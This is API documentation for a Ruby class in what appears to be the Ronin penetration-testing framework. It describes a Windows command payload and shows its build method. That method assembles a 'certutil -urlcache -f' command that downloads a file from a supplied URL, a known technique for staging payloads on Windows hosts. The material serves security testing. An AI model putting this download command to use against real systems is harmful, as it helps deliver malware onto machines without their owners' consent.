Class: Ronin::Payloads::CMD::Windows::Download
- Inherits:
-
Ronin::Payloads::CommandPayload
- Object
- Payload
- Ronin::Payloads::CommandPayload
- Ronin::Payloads::CMD::Windows::Download
- Includes:
- Metadata::OS
- Defined in:
- lib/ronin/payloads/builtin/cmd/windows/download.rb
Overview
Uses certutil
to download a file.
Instance Attribute Summary
Attributes inherited from Payload
Instance Method Summary collapse
-
#build ⇒ Object
Builds the
certutil
command.
Methods included from Metadata::OS
Methods inherited from Ronin::Payloads::CommandPayload
Methods inherited from Payload
#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate
Constructor Details
This class inherits a constructor from Ronin::Payloads::Payload
Instance Method Details
#build ⇒ Object
Builds the certutil
command.
62 63 64 |
# File 'lib/ronin/payloads/builtin/cmd/windows/download.rb', line 62 def build @payload = "certutil -urlcache -f '#{params[:url]}' #{params[:dest]}" end |